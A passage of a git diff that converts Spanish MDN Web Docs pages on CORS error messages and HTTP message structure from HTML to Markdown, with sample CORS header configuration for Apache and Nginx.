- - diff --git a/files/es/web/http/cors/errors/corsmissingalloworigin/index.md b/files/es/web/http/cors/errors/corsmissingalloworigin/index.md new file mode 100644 index 00000000000000..f9be39a77b3631 --- /dev/null +++ b/files/es/web/http/cors/errors/corsmissingalloworigin/index.md @@ -0,0 +1,45 @@ +--- +title: 'Reason: CORS header ''Access-Control-Allow-Origin'' missing' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +tags: + - Cabeceras + - Seguridad +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +{{HTTPSidebar}} + +## Motivo + + Motivo: Hace falta la cabecera CORS 'Access-Control-Allow-Origin' + +## ¿Qué salió mal? + +A la respuesta de la solicitud {{Glossary("CORS")}} le falta la requerida cabecera {{HTTPHeader("Access-Control-Allow-Origin")}}, la cual se utiliza para determinar si el recurso puede o no ser accedido por el contenido dentro del origen actual. + +Si el servidor está bajo su control, agregue el origen del sitio solicitado al conjunto de dominios con acceso permitido agregándolo al valor de la cabecera `Access-Control-Allow-Origin`. + +Por ejemplo, para permitir a un sitio como https\://amazing.site acceder al recurso usando CORS, la cabecera deberia ser: + + Access-Control-Allow-Origin: https://amazing.site + +También puede configurar un sitio para permitirle el acceso desde cualquier otro sitio usando el comodín `"*"`. Solamente debería usar esto para APIs públicas. Las APIs privadas nunca deberían usar este comodín, en lugar de eso, se debería especificar un dominio o conjunto de dominios. Adicionalmente, el comodín solamente funciona para consultas con el atributo {{htmlattrxref("crossorigin")}} establecido en `"anonymous"`. + + Access-Control-Allow-Origin: * + +> **Advertencia:** Utilizar el comodín para permitir que todos los sitios accedan a una API privada es una mala idea. + +Para permitir que cualquier sitio realice peticiones CORS _sin_ usar el comodín `*` (por ejemplo, para activar credenciales), su servidor deberá leer el valor la cabecera `Origin` de la petición y usar dicho valor para `Access-Control-Allow-Origin` y además declarar una cabecera `Vary: Origin` para indicar que algunas cabeceras están siendo dinámicamente declaradas dependiendo del origen. + +El protocolo para administrar estas cabeceras depende de tu servidor web. Por ejemplo, en Apache, agrega una línea como la siguiente a la configuración del servidor (Con las secciones ``, ``,` ` o `` apropiadas). La configuración, suele encontrarse en un archivo `.conf` (`httpd.conf` y `apache.conf` son nombres comunes para este tipo de archivos), o en un archivo `.htaccess`. + + Header set Access-Control-Allow-Origin 'origin-list' + +Para Nginx, el comando para configurar esta cabecera es: + + add_header 'Access-Control-Allow-Origin' 'origin-list" + +## Vea tambien + +- [CORS errors](/es/docs/Web/HTTP/CORS/Errors) +- Glossary: {{Glossary("CORS")}} +- [CORS introduction](/es/docs/Web/HTTP/CORS) diff --git a/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html deleted file mode 100644 index bde76104f71bec..00000000000000 --- a/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: 'Reason: CORS preflight channel did not succeed' -slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed -translation_of: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed ---- -
{{HTTPSidebar}}
- -

Razón

- -
Razón: El canal de verifiación CORS no tuvo éxito.
- -

¿Qué salió mal?

- -

The {{Glossary("CORS")}} requiere verificación previa, la verificación previa no pudo realizarse. Hay un par de razones por las cuales la verificación previa puede fallar:

- -
    -
  • Se ha realizado previamente una solicitud entre sitios que realizó una verificación previa y no se permite volver a realizar la verificación previa. Asegúrese de que su código solo realice una verificación previa una vez por conexión.
    • -
  • La verificación previa ha sufrido alguna clase de un error de red fundamental.
    • -
- -

Véase también

- - diff --git a/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.md b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.md new file mode 100644 index 00000000000000..d2f5f30c11561d --- /dev/null +++ b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.md @@ -0,0 +1,23 @@ +--- +title: 'Reason: CORS preflight channel did not succeed' +slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed +translation_of: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed +--- +{{HTTPSidebar}} + +## Razón + + Razón: El canal de verifiación CORS no tuvo éxito. + +## ¿Qué salió mal? + +The {{Glossary("CORS")}} requiere verificación previa, la verificación previa no pudo realizarse. Hay un par de razones por las cuales la verificación previa puede fallar: + +- Se ha realizado previamente una solicitud entre sitios que realizó una verificación previa y no se permite volver a realizar la verificación previa. Asegúrese de que su código solo realice una verificación previa una vez por conexión. +- La verificación previa ha sufrido alguna clase de un error de red fundamental. + +## Véase también + +- [CORS errors](/es/docs/Web/HTTP/CORS/Errors) +- Glossary: {{Glossary("CORS")}} +- [CORS introduction](/es/docs/Web/HTTP/CORS) diff --git a/files/es/web/http/cors/errors/corsrequestnothttp/index.html b/files/es/web/http/cors/errors/corsrequestnothttp/index.html deleted file mode 100644 index 9f7227970aca99..00000000000000 --- a/files/es/web/http/cors/errors/corsrequestnothttp/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: 'Reason: CORS request not HTTP' -slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp -translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp ---- -
{{HTTPSidebar}}
- -

Razón

- -
Reason: CORS request not HTTP
- -

¿Qué está mal?

- -

{{Glossary("CORS")}} Las peticiones solo pueden usar el esquema de direcciones HTTPS , pero la dirección especificada por la petición es de un tipo diferente. Esto a menudo ocurre si la petición especifica un archivo local, usando una dirección file:///.

- -

Para resolver este problema, simplemente asegúrate de usar direciones HTTPS cuando el emisor involucre CORS.

- -

Ver también

- - diff --git a/files/es/web/http/cors/errors/corsrequestnothttp/index.md b/files/es/web/http/cors/errors/corsrequestnothttp/index.md new file mode 100644 index 00000000000000..4187a8c10552d6 --- /dev/null +++ b/files/es/web/http/cors/errors/corsrequestnothttp/index.md @@ -0,0 +1,23 @@ +--- +title: 'Reason: CORS request not HTTP' +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +{{HTTPSidebar}} + +## Razón + + Reason: CORS request not HTTP + +## ¿Qué está mal? + +{{Glossary("CORS")}} Las peticiones solo pueden usar el esquema de direcciones HTTPS , pero la dirección especificada por la petición es de un tipo diferente. Esto a menudo ocurre si la petición especifica un archivo local, usando una dirección `file:///`. + +Para resolver este problema, simplemente asegúrate de usar direciones HTTPS cuando el emisor involucre CORS. + +## Ver también + +- Errores de CORS +- Glosario: {{Glossary("CORS")}} +- [Introducción a CORS](/es/docs/Web/HTTP/CORS) +- [¿Qué es una direccion?](/es/docs/Learn/Common_questions/What_is_a_URL) diff --git a/files/es/web/http/cors/errors/index.html b/files/es/web/http/cors/errors/index.html deleted file mode 100644 index 417cc96da7c8c1..00000000000000 --- a/files/es/web/http/cors/errors/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: CORS errors -slug: Web/HTTP/CORS/Errors -tags: - - CORS - - Errors - - HTTP - - HTTPS - - Messages - - NeedsTranslation - - Same-origin - - Security - - TopicStub - - console - - troubleshooting -translation_of: Web/HTTP/CORS/Errors ---- -
{{HTTPSidebar}}
- -

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) is a standard that allows a server to relax the same-origin policy. This is used to explicitly allow some cross-origin requests while rejecting others. For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.

- -

If the CORS configuration isn't setup correctly, the browser console will present an error like "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.

- -

Identifying the issue

- -

To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:

- -
    -
  1. Navigate to the web site or web app in question and open the Developer Tools.
    2. -
  2. Now try to reproduce the failing transaction and check the console if you are seeing a CORS violation error message. It will probably look like this:
    3. -
- -

Firefox console showing CORS error

- -

The text of the error message will be something similar to the following:

- -
Cross-Origin Request Blocked: The Same Origin Policy disallows
-reading the remote resource at https://some-url-here. (Reason:
-additional information here).
- -
-

Note: For security reasons, specifics about what went wrong with a CORS request are not available to JavaScript code. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.

-
- -

CORS error messages

- -

Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.

- - - -

See also

- - diff --git a/files/es/web/http/cors/errors/index.md b/files/es/web/http/cors/errors/index.md new file mode 100644 index 00000000000000..361d3b46d09de2 --- /dev/null +++ b/files/es/web/http/cors/errors/index.md @@ -0,0 +1,68 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +{{HTTPSidebar}} + +[Cross-Origin Resource Sharing](/es/docs/Web/HTTP/CORS) ({{Glossary("CORS")}}) is a standard that allows a server to relax the [same-origin policy](/es/docs/Web/Security/Same-origin_policy). This is used to explicitly allow some cross-origin requests while rejecting others. For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them. + +If the CORS configuration isn't setup correctly, the browser console will present an error like `"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"` indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed. + +## Identifying the issue + +To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so: + +1. Navigate to the web site or web app in question and open the [Developer Tools](/es/docs/Tools). +2. Now try to reproduce the failing transaction and check the [console](/es/docs/Tools/Web_Console) if you are seeing a CORS violation error message. It will probably look like this: + +![Firefox console showing CORS error](https://mdn.mozillademos.org/files/16050/cors-error2.png) + +The text of the error message will be something similar to the following: + + Cross-Origin Request Blocked: The Same Origin Policy disallows + reading the remote resource at https://some-url-here. (Reason: + additional information here). + +> **Nota:** **Note:** For security reasons, specifics about what went wrong with a CORS request _are not available to JavaScript code_. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details. + +## CORS error messages + +Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions. + +- [Reason: CORS disabled](/es/docs/Web/HTTP/CORS/Errors/CORSDisabled) +- [Reason: CORS request did not succeed](/es/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed) +- [Reason: CORS header ‘Origin’ cannot be added](/es/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded) +- [Reason: CORS request external redirect not allowed](/es/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed) +- [Reason: CORS request not http](/es/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp) +- [Reason: CORS header ‘Access-Control-Allow-Origin’ missing](/es/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin) +- [Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’](/es/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin) +- [Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘\*’](/es/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials) +- [Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’](/es/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound) +- [Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’](/es/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials) +- [Reason: CORS preflight channel did not succeed](/es/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed) +- [Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’](/es/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod) +- [Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’](/es/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader) +- [Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel](/es/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight) +- [Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed](/es/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed) + +## See also + +- Glossary: {{Glossary("CORS")}} +- [CORS introduction](/es/docs/Web/HTTP/CORS) +- [Server-side CORS settings](/es/docs/Web/HTTP/Server-Side_Access_Control) +- [CORS enabled image](/es/docs/Web/HTML/CORS_enabled_image) +- [CORS settings attributes](/es/docs/Web/HTML/CORS_settings_attributes) +- – page to test CORS requests diff --git a/files/es/web/http/messages/index.html b/files/es/web/http/messages/index.html deleted file mode 100644 index c85209d664a1b7..00000000000000 --- a/files/es/web/http/messages/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Mensajes HTTP -slug: Web/HTTP/Messages -translation_of: Web/HTTP/Messages ---- -
{{HTTPSidebar}}
- -

Los mensajes HTTP, son los medios por los cuales se intercambian datos entre servidores y clientes. Hay dos tipos de mensajes: peticiones, enviadas por el cliente al servidor, para pedir el inicio de una acción; y respuestas, que son la respuesta del servidor.

- -

Los mensajes HTTP están compuestos de texto, codificado en ASCII, y pueden comprender múltiples líneas. En HTTP/1.1, y versiones previas del protocolo, estos mensajes eran enviados de forma abierta a través de la conexión. En HTTP/2.0 los mensajes, que anteriormente eran legibles directamente, se conforman mediante tramas binarias codificadas para aumentar la optimización y rendimiento de la transmisión.

- -

Los desarrolladores de páginas Web, o administradores de sitios Web, desarrolladores... raramente codifican directamente estos mensajes HTTP. Normalmente especifican estos mensajes HTTP, mediante archivos de configuración (para proxies, y servidores), APIs (para navegadores) y otros medios.

- -

From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.

- -

El mecanismo de tramas binarias de HTTP/2 ha sido diseñado para que no necesite ninguna modificación de las APIs o archivos de configuración utilizados: es totalmente transparente para el usuario.

- -

Las peticiones y respuestas HTTP, comparten una estructura similar, compuesta de:

- -
    -
  1. Una línea de inicio ('start-line' en inglés) describiendo la petición a ser implementada, o su estado, sea de éxito o fracaso. Esta línea de comienzo, es siempre una única línea.
    2. -
  2. Un grupo opcional de cabeceras HTTP, indicando la petición o describiendo el cuerpo ('body' en inglés) que se incluye en el mensaje.
    3. -
  3. Una línea vacía ('empty-line' en inglés) indicando toda la meta-información ha sido enviada.
    4. -
  4. Un campo de cuerpo de mensaje opcional ('body' en inglés) que lleva los datos asociados con la petición (como contenido de un formulario HTML), o los archivos o documentos asociados a una respuesta (como una página HTML, o un archivo de audio, vídeo ... ) . La presencia del cuerpo y su tamaño es indicada en la línea de inicio y las cabeceras HTTP.
    5. -
- -

La línea de inicio y las cabeceras HTTP, del mensaje, son conocidas como la cabeza de la peticiones, mientras que su contenido en datos se conoce como el cuerpo del mensaje.

- -

Requests and responses share a common structure in HTTP

- -

Peticiones HTTP

- -

Línea de inicio

- -

Las peticiones HTTP son mensajes enviados por un cliente, para iniciar una acción en el servidor. Su línea de inicio está formada por tres elementos:

- -
    -
  1. Un método HTTP, un verbo como: {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} o {{HTTPMethod("POST")}}) o un nombre como: {{HTTPMethod("HEAD")}} o {{HTTPMethod("OPTIONS")}}), que describan la acción que se pide sea realizada. Por ejemplo, GET indica que un archivo ha de ser enviado hacia el cliente, o POST indica que hay datos que van a ser enviados hacia el servidor (creando o modificando un recurso, o generando un documento temporal para ser enviado).
    2. -
  2. El objetivo de una petición, normalmente es una {{glossary("URL")}}, o la dirección completa del protocolo, puerto y dominio también suelen ser especificados por el contexto de la petición. El formato del objetivo de la petición varia según los distintos métodos HTTP. Puede ser: -
      -
    • Una dirección absoluta, seguida de un signo de cierre de interrogación '?' y un texto de consulta. Este es el formato más comun, conocido como el formato original ('origin form' en inglés), se usa en los métodos GET, POST, HEAD, y OPTIONS .
      - POST / HTTP 1.1
      - GET /background.png HTTP/1.0
      - HEAD /test.html?query=alibaba HTTP/1.1
      - OPTIONS /anypage.html HTTP/1.0
      • -
    • Una URL completa; conocido como el formato absoluto, usado mayormente con GET cuando se conecta a un proxy.
      - GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1
      • -
    • El componente de autoriade de una URL, formado por el nombre del domínio y opcionalmente el puerto (el puerto precedido por el simbolo ':' ), se denomina a este formato como el formato de autoridad. Unicamente se usa con CONNECT cuando se establece un tunel HTTP.
      - CONNECT developer.mozilla.org:80 HTTP/1.1
      • -
    • El formato de asterisco, se utliza un asterisco ('*') junto con las opciones: OPTIONS , representando al servidor entero en conjunto.
      - OPTIONS * HTTP/1.1
      • -
    -
    3. -
  3. la versión de HTTP, la cual define la estructura de los mensajes, actuando como indicador, de la versión que espera que se use para la respuesta.
    4. -
- -

Cabeceras

- -

Las cabeceras HTTP de una petición siguen la misma estructura que la de una cabecera HTTP. Una cadena de caracteres, que no diferencia mayusculas ni minusculas, seguida por dos puntos (':') y un valor cuya estructura depende de la cabecera. La cabecera completa, incluido el valor, ha de ser formada en una única línea, y pude ser bastante larga.

- -

Hay bastantes cabeceras posibles. Estas se pueden clasificar en varios grupos:

- -
    -
  • Cabeceras generales, ('General headers' en inglés), como {{HTTPHeader("Via")}}, afectan al mensaje como una unidad completa.
    • -
  • Cabeceras de petición, ('Request headers' en inglés), como {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}, modifican la petición especificándola en mayor detalle ( como: {{HTTPHeader("Accept-Language")}}, o dándole un contexto, como: {{HTTPHeader("Referer")}}, o restringiéndola condicionalmente, como: {{HTTPHeader("If-None")}}.
    • -
  • Cabeceras de entidad, ('Entity headers' en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('body' en inglés).
    • -
- -

Example of headers in an HTTP request

- -

Cuerpo

- -

La parte final de la petición el el cuerpo. No todas las peticiones llevan uno: las peticiones que reclaman datos, como GET, HEAD, DELETE, o OPTIONS, normalmente, no necesitan ningún cuerpo. Algunas peticiones pueden mandar peticiones al servidor con el fin de actualizarlo: como es el caso con la petición POST (que contiene datos de un formulario HTML).

- -

Los cuerpos pueden ser dividos en dos categorias:

- -
    -
  • Cuerpos con un único dato, que consisten en un único archivo defindo por las dos cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}.
    • -
  • Cuerpos con múltiples datos, que están formados por distintos contenidos, normalmente estan asociados con los formularios HTML.
    • -
- -

Respuestas HTTP

- -

Línea de estado

- -

La línea de inicio de una respuesta HTTP, se llama la línea de estado, y contienen la siguiente información:

- -
    -
  1. La versión del protocolo, normalmente HTTP/1.1.
    2. -
  2. Un código de estado, indicando el éxito o fracaso de la petición. Códigos de estado muy comunes son: {{HTTPStatus("200")}}, {{HTTPStatus("404")}}, o {{HTTPStatus("302")}}
    3. -
  3. Un texto de estado, que es una breve descripción, en texto, a modo informativo, de lo que significa el código de estado, con el fin de que una persona pueda interpretar el mensaje HTTP.
    4. -
- -

Una línea de estado típica es por ejemplo: HTTP/1.1 404 Not Found.

- -

Cabeceras

- -

Las cabeceras HTTP para respuestas siguen también la misma estructura como cualquier otra cabecera: una cadena de texto, que no diferencia entre mayusculas y minúsculas, seguida por dos puntos (':') y un valor cuya estructura depende del tipo de cabecera. Toda la cabecera incluido su valor, se ha de expresar en una única línea.

- -

Existen varias cabeceras posibles. Estas se puede dividir en distintos grupos:

- -
    -
  • Cabeceras generales, ('General headers' en inglés), como {{HTTPHeader("Via")}}, afectan al mensaje completo.
    • -
  • Cabeceras de petición, ('Request headers' en inglés), como {{HTTPHeader("Vary")}} , {{HTTPHeader("Accept-Ranges")}}, dan información adicional sobre el servidor, que no tiene espacio en la línea de estado.
    • -
  • Cabeceras de entidad, ('Entity headers' en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('body' en inglés).
    • -
- -

*Example of headers in an HTTP response

- -

Cuerpo

- -

La última parte del mensaje de respuesta el es 'cuerpo'. No todas las respuestas tienen uno, respuestas con un código de estado como {{HTTPStatus("201")}} o {{HTTPStatus("204")}} normalmente prescinden de él.

- -

De forma general, los cuerpos se pueden diferenciar en tres categorias:

- -
    -
  • Cuerpos con un único dato, consisten en un simple archivo, de longitud conocida y definido en las cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}.
    • -
  • Cuerpos con un único dato, consisten en un simple archivo, de longitud desconocida, y codificado en partes, indicadas con {{HTTPHeader("Transfer-Encoding")}} valor chunked (que significa: 'partido' en inglés).
    • -
  • Cuerpos con múltiples datos, consisten de varios datos, cada uno con una sección distinta de información. Este caso es relativamente raro y poco común.
    • -
- -

Tramas HTTP/2

- -

Los mensajes HTTP/1.x tienen algunas desventajas por su no muy alta eficiencia en la transmisión.

- -
    -
  • Las cabeceras, al contrario de los cuerpos, no se comprimen.
    • -
  • Las cabeceras, habitualmente se repiten de un mensaje al siguiente, aún así, la cabecera se repite en todos los mensajes.
    • -
  • No se puede multiplexar. Se han de abrir varias conexiones para el mismo servidor, las conexiones TCP 'en caliente' ('warm TCP connections' en inglés) son más eficientes que las conexiones 'en frio'.
    • -
- -

HTTP/2 introduce un paso extra: divide los mensajes HTTP/1.x en tramas que integra en un flujo de datos. Los datos y las tramas de las cabeceras, se separan, esto permite la compresión de las cabeceras. Varios flujos de datos pueden combinarse juntos, y entonces se puede usar un procedimiento de multiplexación, permitiendo un uso más eficiente, de las conexiónes TCP.

- -

HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.

- -

Las tramas HTTP son trasnparentes para los desarrolladores Web. Este paso adicional en HTTP/2, de los mensajes HTTP/1.0 y el protocolo por debajo. No son necesarios cambios en las APIs usadas por los desarrolladores Web para utilizar estas tramas HTTP, cuando las usan ambos: servidor y navegador.

- -

Conclusión

- -

Los mensajes HTTP son la clave para usar HTTP; su estructura es sencilla y son fácilmente ampliables. El protocolo HTTP/2 añade un mecanismo de tramas y una capa intermedia entre la sintaxis de HTTP/1.x y su protocolo inferior, sin modificarlo radicalmente: se construye sobre mecanismos de transmisión probados.

diff --git a/files/es/web/http/messages/index.md b/files/es/web/http/messages/index.md new file mode 100644 index 00000000000000..fb6a51ed46c292 --- /dev/null +++ b/files/es/web/http/messages/index.md @@ -0,0 +1,120 @@ +--- +title: Mensajes HTTP +slug: Web/HTTP/Messages +translation_of: Web/HTTP/Messages +--- +{{HTTPSidebar}} + +Los mensajes HTTP, son los medios por los cuales se intercambian datos entre servidores y clientes. Hay dos tipos de mensajes: _peticiones_, enviadas por el cliente al servidor, para pedir el inicio de una acción; y _respuestas_, que son la respuesta del servidor. + +Los mensajes HTTP están compuestos de texto, codificado en ASCII, y pueden comprender múltiples líneas. En HTTP/1.1, y versiones previas del protocolo, estos mensajes eran enviados de forma abierta a través de la conexión. En HTTP/2.0 los mensajes, que anteriormente eran legibles directamente, se conforman mediante tramas binarias codificadas para aumentar la optimización y rendimiento de la transmisión. + +Los desarrolladores de páginas Web, o administradores de sitios Web, desarrolladores... raramente codifican directamente estos mensajes HTTP. Normalmente especifican estos mensajes HTTP, mediante archivos de configuración (para proxies, y servidores), APIs (para navegadores) y otros medios. + +![From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.](https://mdn.mozillademos.org/files/13825/HTTPMsg2.png) + +El mecanismo de tramas binarias de HTTP/2 ha sido diseñado para que no necesite ninguna modificación de las APIs o archivos de configuración utilizados: es totalmente transparente para el usuario. + +Las peticiones y respuestas HTTP, comparten una estructura similar, compuesta de: + +1. Una _línea de inicio_ ('_start-line_' en inglés) describiendo la petición a ser implementada, o su estado, sea de éxito o fracaso. Esta línea de comienzo, es siempre una única línea. +2. Un grupo opcional de _cabeceras HTTP_, indicando la petición o describiendo el cuerpo ('_body_' en inglés) que se incluye en el mensaje. +3. Una línea vacía ('_empty-line_' en inglés) indicando toda la meta-información ha sido enviada. +4. Un campo de cuerpo de mensaje opcional ('_body_' en inglés) que lleva los datos asociados con la petición (como contenido de un formulario HTML), o los archivos o documentos asociados a una respuesta (como una página HTML, o un archivo de audio, vídeo ... ) . La presencia del cuerpo y su tamaño es indicada en la línea de inicio y las cabeceras HTTP. + +La línea de inicio y las cabeceras HTTP, del mensaje, son conocidas como la _cabeza_ de la peticiones, mientras que su contenido en datos se conoce como el _cuerpo_ del mensaje. + +![Requests and responses share a common structure in HTTP](https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png) + +## Peticiones HTTP + +### Línea de inicio + +Las peticiones HTTP son mensajes enviados por un cliente, para iniciar una acción en el servidor. Su línea de inicio está formada por tres elementos: + +1. Un _[método HTTP](/es/docs/Web/HTTP/Methods)_, un verbo como: {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} o {{HTTPMethod("POST")}}) o un nombre como: {{HTTPMethod("HEAD")}} o {{HTTPMethod("OPTIONS")}}), que describan la acción que se pide sea realizada. Por ejemplo, `GET` indica que un archivo ha de ser enviado hacia el cliente, o `POST` indica que hay datos que van a ser enviados hacia el servidor (creando o modificando un recurso, o generando un documento temporal para ser enviado). +2. El objetivo de una petición, normalmente es una {{glossary("URL")}}, o la dirección completa del protocolo, puerto y dominio también suelen ser especificados por el contexto de la petición. El formato del objetivo de la petición varia según los distintos métodos HTTP. Puede ser: + + - Una dirección absoluta, seguida de un signo de cierre de interrogación `'?'` y un texto de consulta. Este es el formato más comun, conocido como el formato original ('_origin form_' en inglés), se usa en los métodos `GET`, `POST`, `HEAD`, y `OPTIONS` . + `POST / HTTP 1.1 GET /background.png HTTP/1.0 HEAD /test.html?query=alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0` + - Una URL completa; conocido como el formato absoluto, usado mayormente con `GET` cuando se conecta a un proxy. + `GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1` + - El componente de autoriade de una URL, formado por el nombre del domínio y opcionalmente el puerto (el puerto precedido por el simbolo `':'` ), se denomina a este formato como el formato de autoridad. Unicamente se usa con `CONNECT` cuando se establece un tunel HTTP. + `CONNECT developer.mozilla.org:80 HTTP/1.1` + - El formato de asterisco, se utliza un asterisco (`'*'`) junto con las opciones: `OPTIONS` , representando al servidor entero en conjunto. + `OPTIONS * HTTP/1.1` + +3. la versión de HTTP, la cual define la estructura de los mensajes, actuando como indicador, de la versión que espera que se use para la respuesta. + +### Cabeceras + +Las [cabeceras HTTP](/es/docs/Web/HTTP/Headers) de una petición siguen la misma estructura que la de una cabecera HTTP. Una cadena de caracteres, que no diferencia mayusculas ni minusculas, seguida por dos puntos (`':'`) y un valor cuya estructura depende de la cabecera. La cabecera completa, incluido el valor, ha de ser formada en una única línea, y pude ser bastante larga. + +Hay bastantes cabeceras posibles. Estas se pueden clasificar en varios grupos: + +- _Cabeceras generales,_ ('_General headers_' en inglés), como {{HTTPHeader("Via")}}, afectan al mensaje como una unidad completa. +- Cabeceras de petición, ('_Request headers_' en inglés), como {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}, modifican la petición especificándola en mayor detalle ( como: {{HTTPHeader("Accept-Language")}}, o dándole un contexto, como: {{HTTPHeader("Referer")}}, o restringiéndola condicionalmente, como: {{HTTPHeader("If-None")}}. +- _Cabeceras de entidad, ('Entity headers'_ en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('_body_' en inglés). + +![Example of headers in an HTTP request](https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png) + +### Cuerpo + +La parte final de la petición el el cuerpo. No todas las peticiones llevan uno: las peticiones que reclaman datos, como `GET`, `HEAD`, `DELETE`, o `OPTIONS`, normalmente, no necesitan ningún cuerpo. Algunas peticiones pueden mandar peticiones al servidor con el fin de actualizarlo: como es el caso con la petición `POST` (que contiene datos de un formulario HTML). + +Los cuerpos pueden ser dividos en dos categorias: + +- Cuerpos con un único dato, que consisten en un único archivo defindo por las dos cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}. +- [Cuerpos con múltiples datos](/es/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data), que están formados por distintos contenidos, normalmente estan asociados con los [formularios HTML](/es/docs/Web/Guide/HTML/Forms). + +## Respuestas HTTP + +### Línea de estado + +La línea de inicio de una respuesta HTTP, se llama la _línea de estado_, y contienen la siguiente información: + +1. La _versión del protocolo_, normalmente `HTTP/1.1`. +2. Un _código de estado_, indicando el éxito o fracaso de la petición. Códigos de estado muy comunes son: {{HTTPStatus("200")}}, {{HTTPStatus("404")}}, o {{HTTPStatus("302")}} +3. Un _texto de estado_, que es una breve descripción, en texto, a modo informativo, de lo que significa el código de estado, con el fin de que una persona pueda interpretar el mensaje HTTP. + +Una línea de estado típica es 